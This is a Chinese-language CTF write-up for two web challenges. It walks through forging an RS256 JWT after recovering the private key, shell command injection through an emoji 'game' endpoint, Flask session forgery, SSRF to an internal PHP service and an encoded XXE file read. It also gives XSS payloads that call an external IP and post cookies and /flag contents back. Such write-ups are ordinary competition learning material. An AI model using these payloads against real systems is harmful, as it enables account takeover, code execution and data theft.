前言
Web 只有两道题,比赛下午5点结束,我和队友大概2点多就做完 Web 方向了,web 手少有的不坐牢时刻。
但是不得不说,这个比赛 py 现象严重,某二手交易平台上有大量卖思路的商家,咱也不知道是不是在钓鱼,只能呵呵一笑了
Web01
随便使用某个非 admin 的账户密码即可以游客身份登录
看看 jwt token, 算法是 RS256。可以爆破私钥,参考 https://ctftime.org/writeup/30541
随便登入两个游客账户,拿到 jwt
用户 1232143264676547865
token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEyMzIxNDMyNjQ2NzY1NDc4NjUifQ.HwhFATpFTr2FCKj61GGk4_dMPzMvzMKSESUqD-vb2wS_1A91sZuw_cvP4hbXzTvHDTNe_yaOPsUm2J91gpSUQwyZ0yISXoSa3zG0CCAZswP1PsYbzqkmhuhFy2pcPkQI0CFJGJ_cP1hjgG5u0FHCIYy63aiqWv1nPaogE2vKT-c1
用户 cacsadqweqwe
token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNhY3NhZHF3ZXF3ZSJ9.F3vZFyorIbhANPCQ6ZZZrcZJEfMvm0p4JFqUTl4GelJRU5maCa_ujB4yMURJbEdCiBzrV7KC58vHag1dM9-7mF7ajSq1A5S_mv7bvOV3DHyDQ7xvqx-yzH2YYFuroqEJcVwmt3MilwZGFKeNQujc5LALsEk8mnBWsGOyyTWVkSoF
使用 https://github.com/silentsignal/rsa_sign2n 结果如下:
再用 RsaCtfTool
生成对应的私钥
然后就可以伪造 jwt
import jwt
private_key=open('./private.pem').read()
token=jwt.encode({'username': 'admin'},private_key,algorithm='RS256')
print(token)
此时再访问靶机,就能看到解锁了一些功能。尤其是这个 Game 板块
先随意尝试一下,发现使用上面的 emoji 和空格组合的 payload 会被放到 shell 里执行
cat *
发现有 flag 文件夹
cd flag ;P:| cat *
拿到源码
app.py
from flask import Flask, render_template, redirect, url_for, flash, session, request, jsonify, make_response
from flask_wtf import FlaskForm
from wtforms import StringField, PasswordField, SubmitField, FileField, TextAreaField
from wtforms.validators import DataRequired, Length
from werkzeug.utils import secure_filename
import os
import string
from authlib.jose import jwt, JoseError
import requests
app = Flask(__name__)
app.config['SECRET_KEY'] = '36f8efbea152e50b23290e0ed707b4b0'
with open('/app/flag/private_key.pem', 'r') as f:
private_key = f.read()
with open('/app/flag/public_key.pem', 'r') as f:
public_key = f.read()
def game_play(user_input):
emoji_table = {
"😀": ":D",
"😉": ";)",
"😊": ":)",
"😋": ":P",
"😎": "B)",
"🤔": ":?",
"😐": ":|",
"😥": ":'(",
"😮": ":o",
"🤐": ":x",
"😯": ":o",
"😪": ":'(",
"😫": "gt;:(",
"😴": "Zzz",
"😜": ";P",
"😝": "XP",
"😒": ":/",
"🙃": "(:",
"😲": ":O",
"☹️": ":(",
"🙁": ":(",
"😖": "gt;:(",
"😞": ":(",
"😤": "gt;:(",
"😢": ":'(",
"😦": ":(",
"😰": ":(",
"😱": ":O",
"🤪": ":P",
"😵": "X(",
"🥴": ":P",
"😠": "gt;:(",
"😡": "gt;:(",
"🤕": ":(",
"🤢": "X(",
"🤮": ":P",
"🤧": ":'(",
"😇": "O:)",
"🥳": ":D",
"🥺": ":'(",
"🤡": ":o)",
"🤠": "Y)",
"🤥": ":L",
"🐶": "dog",
"🐱": "cat",
"🐭": "mouse",
"🐰": "rabbit",
"🦊": "fox",
"🐷": "pig",
"🐽": "pig nose",
"🐸": "frog",
"🐒": "monkey",
"🐔": "chicken",
"🐧": "penguin",
"🐦": "bird",
"🚗": "car",
"🚕": "taxi",
"🚁": "helicopter",
"🛶": "canoe",
"⛵": "sailboat",
"🚤": "speedboat",
"🛳️": "passenger ship",
"⛴️": "ferry",
"🛥️": "motor boat",
"🚢": "ship",
"👶": "baby",
"💿": "CD",
"📀": "DVD",
"📱": "phone",
"💻": "laptop",
"⏰": "alarm clock",
"🕰️": "mantelpiece clock",
"⌚": "watch",
"📡": "satellite antenna",
"🔋": "battery",
"🔌": "plug",
"🚩": "flag",
"⭐": "*",
"✖️": "×",
"➗": "÷"
}
if len(set(user_input).intersection(set(string.printable.replace(" ", '')))) == 0:
return user_input.lower()
command = user_input
result = 'emoji shell'
for key in emoji_table:
if key in command:
command = command.replace(key, emoji_table[key]).lower()
result = command
result = result + os.popen(command + " 2gt;amp;1").read()
return result
class LoginForm(FlaskForm):
username = StringField('Username', validators=[DataRequired(), Length(min=1, max=25)])
password = PasswordField('Password', validators=[DataRequired()])
submit = SubmitField('Login')
class UploadForm(FlaskForm):
avatar = FileField('Choose a file', validators=[DataRequired()])
submit = SubmitField('Upload')
class GameForm(FlaskForm):
user_input = TextAreaField('Enter something', validators=[DataRequired()])
submit = SubmitField('Submit')
def generate_jwt(username):
header = {'alg': 'RS256'}
payload = {
'username': username,
}
token = jwt.encode(header, payload, private_key)
return token
def decode_jwt(token):
try:
payload = jwt.decode(token, public_key)
return payload
except JoseError as e:
return None
@app.route('/', methods=['GET', 'POST'])
def login():
form = LoginForm()
if form.validate_on_submit():
username = form.username.data
password = form.password.data
if username=='admin':
flash('Invalid username or password', 'danger')
return render_template('login.html', form=form)
if username:
session['role'] = 'guest'
token = generate_jwt(username)
response = make_response(redirect(url_for('dashboard')))
response.set_cookie('token', token.decode())
flash('Login successful!', 'success')
return response
else:
flash('Invalid username or password', 'danger')
return render_template('login.html', form=form)
@app.route('/dashboard')
def dashboard():
token = request.cookies.get('token')
if not token:
flash('Please login first', 'warning')
return redirect(url_for('login'))
payload = decode_jwt(token)
if not payload:
flash('Invalid or expired token. Please login again.', 'danger')
return redirect(url_for('login'))
return render_template('dashboard.html')
@app.route('/profile')
def profile():
token = request.cookies.get('token')
if not token:
flash('Please login first', 'warning')
return redirect(url_for('login'))
payload = decode_jwt(token)
if not payload:
flash('Invalid or expired token. Please login again.', 'danger')
return redirect(url_for('login'))
user_info = {}
user_info.update({
'username': payload['username'],
'role': session['role'],
})
return render_template('profile.html', user_info=user_info)
@app.route('/game', methods=['GET', 'POST'])
def game():
token = request.cookies.get('token')
form = GameForm()
if not token:
error_message = 'Please login first'
return render_template('game.html', form=form, error_message=error_message)
payload = decode_jwt(token)
if not payload:
error_message = 'Invalid or expired token. Please login again.'
return render_template('game.html', form=form, error_message=error_message)
if not payload['username']=='admin':
error_message = 'You do not have permission to access this page.Your username is not admin'
return render_template('game.html', form=form, error_message=error_message)
user_input = None
if form.validate_on_submit():
user_input = form.user_input.data
user_input = game_play(user_input)
return render_template('game.html', form=form, user_input=user_input)
@app.route('/upload', methods=['GET', 'POST'])
def upload():
token = request.cookies.get('token')
if not token:
flash('Please login first', 'warning')
return redirect(url_for('login'))
payload = decode_jwt(token)
form = UploadForm()
if not payload or payload['username'] != 'admin':
error_message = 'You do not have permission to access this page.Your username is not admin.'
return render_template('upload.html', form=form, error_message=error_message, username=payload['username'])
if not session['role'] or session['role'] != 'admin':
error_message = 'You do not have permission to access this page.Your role is not admin.'
return render_template('upload.html', form=form, error_message=error_message, username=payload['username'])
if form.validate_on_submit():
file = form.avatar.data
if file:
filename = secure_filename(file.filename)
files = {'file': (filename, file.stream, file.content_type)}
php_service_url = 'http://127.0.0.1/upload.php'
response = requests.post(php_service_url, files=files)
if response.status_code == 200:
flash(response.text, 'success')
else:
flash('Failed to upload file to PHP service', 'danger')
return render_template('upload.html', form=form)
@app.route('/view_uploads', methods=['GET', 'POST'])
def view_uploads():
token = request.cookies.get('token')
form = GameForm()
if not token:
error_message = 'Please login first'
return render_template('view_uploads.html', form=form, error_message=error_message)
payload = decode_jwt(token)
if not payload:
error_message = 'Invalid or expired token. Please login again.'
return render_template('view_uploads.html', form=form, error_message=error_message)
if not payload['username']=='admin':
error_message = 'You do not have permission to access this page.Your username is not admin'
return render_template('view_uploads.html', form=form, error_message=error_message)
user_input = None
if form.validate_on_submit():
filepath = form.user_input.data
pathurl = request.form.get('path')
if ("www.testctf.com" not in pathurl) or ("127.0.0.1" in pathurl) or ('/var/www/html/uploads/' not in filepath) or ('.' in filepath):
error_message = "www.testctf.com must in path and /var/www/html/uploads/ must in filepath."
return render_template('view_uploads.html', form=form, error_message=error_message)
params = {'s': filepath}
try:
response = requests.get("http://"+pathurl, params=params, timeout=1)
return render_template('view_uploads.html', form=form, user_input=response.text)
except:
error_message = "500! Server Error"
return render_template('view_uploads.html', form=form, error_message=error_message)
return render_template('view_uploads.html', form=form, user_input=user_input)
@app.route('/logout')
def logout():
session.clear()
response = make_response(redirect(url_for('login')))
response.delete_cookie('token')
flash('You have been logged out', 'info')
return response
if __name__ == '__main__':
app.run()
审计源码获取到 secret_key,使用 flask-unsign
伪造 session 拿到 admin 身份
.eJwtjDsOgzAMQK9CPTM0DeTDGXqDCiHX2C1qmkgYJsTdm6HT0xveO2CShPpmheFxQLNVgO5ErAot3Mtryc3fZU8XGM-xBdJVpq18OMMAnUPjDXmyPUoX7NUFY50Ns0gMyLEX9hGft7pbS-Ja4PxdMpw_194m-Q.ZyBuJQ.O2SbLvCtP0oSVZawGnigM8a39VA
看 upload
路由发现还有一个在内网的 php 服务
接下来就是打 SSRF,通过 upload 路由上传任意文件
然后 view_uploads
访问 http://127.0.0.1/index.php
并且传参 s=/var/www/html/文件名
发现 index.php 会加载 xml 文件,于是构造 XXE,测试发现过滤了 system
,使用 iconv 编码绕过
cat test.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml
读取 flag.php 即可
<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY nn SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">
]>
<person>
<name>&nn;</name>
<age>18</age>
</person>
由于直接读取 flag.php 没有回显,故 base64 编码后再读取
Web02
这题是队友做的,我负责复现和写 writeup
开局一个登录框,先试试 admin123,结果就登进去了
点进那一串奇怪 url 之后,一眼顶真,鉴定为 xss
看看能不能出网先
<script>
fetch("http://8.138.127.74:2333/",{
method:'POST',
headers:{'Content-Type':'application/x-www-form-urlencoded'
})
</script>
结果是 x 自己倒是能 x,怎么到了靶机就不行呢?鉴定为不出网
那就让 boss 直接把 flag 写到任务清单里吧,模仿自己提交表单的 http 报文,构造 xss
<script>
var url = "/content/bcad73fe2d4af5d291ed08b905307283";
var data = "content=_Err0r233"+document.cookie;
fetch(url, {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded',},
body: data}
)
</script>
结果 Cookie 里面找不到 flag?
卡了半天之后发现居然有个 /flag
路由。。。
此时思路就变为将 /flag 中的内容外带到任务清单
<script>
var req = new XMLHttpRequest();
req.open('GET', '/flag', false);
req.send(null);
var headers = req.responseText;
var url = "/content/bcad73fe2d4af5d291ed08b905307283";
var data = "content=_Err0r233"+headers;
fetch(url, {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded',},
body: data}
)
</script>